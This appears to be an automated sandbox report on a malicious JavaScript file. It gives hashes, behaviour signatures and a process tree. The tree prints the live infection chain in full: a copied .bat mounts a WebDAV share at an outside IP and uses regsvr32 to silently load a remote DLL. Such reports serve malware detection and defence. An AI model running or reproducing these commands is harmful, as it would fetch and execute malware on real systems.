Analysis

  • max time kernel
    92s
  • max time network
    118s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 05:57

General

  • Target

    1164226923355717858.js

  • Size

    5KB

  • MD5

    645dcd852adbbbec908e042681f221e0

  • SHA1

    eeebb5923943c1a5c199dcb61cbe5d531ec173e1

  • SHA256

    f5e97dbf9701fd9afe5e555cb77ca409217354c94f7698a9b8aa18c56442f553

  • SHA512

    cd9b687f4bcd3196d89ee1e0a93dc019f08fda64c2c72bdc525e357ac7b232fa57b34dcb00b8079a38a9a6659492e103ae5733298b128f204b4d0dc247177c84

  • SSDEEP

    96:fk57aO8g60fkKgY7+koRjRBzrxIJrZKAkMK3:fk0/e6M+jRjnzrxIJrZKAkMK3

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1164226923355717858.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4924
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1164226923355717858.js" "C:\Users\Admin\\oumlnx.bat" && "C:\Users\Admin\\oumlnx.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1192
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4704
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\978.dll
          3⤵
            PID:64

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\oumlnx.bat

              Filesize

              5KB

              MD5

              645dcd852adbbbec908e042681f221e0

              SHA1

              eeebb5923943c1a5c199dcb61cbe5d531ec173e1

              SHA256

              f5e97dbf9701fd9afe5e555cb77ca409217354c94f7698a9b8aa18c56442f553

              SHA512

              cd9b687f4bcd3196d89ee1e0a93dc019f08fda64c2c72bdc525e357ac7b232fa57b34dcb00b8079a38a9a6659492e103ae5733298b128f204b4d0dc247177c84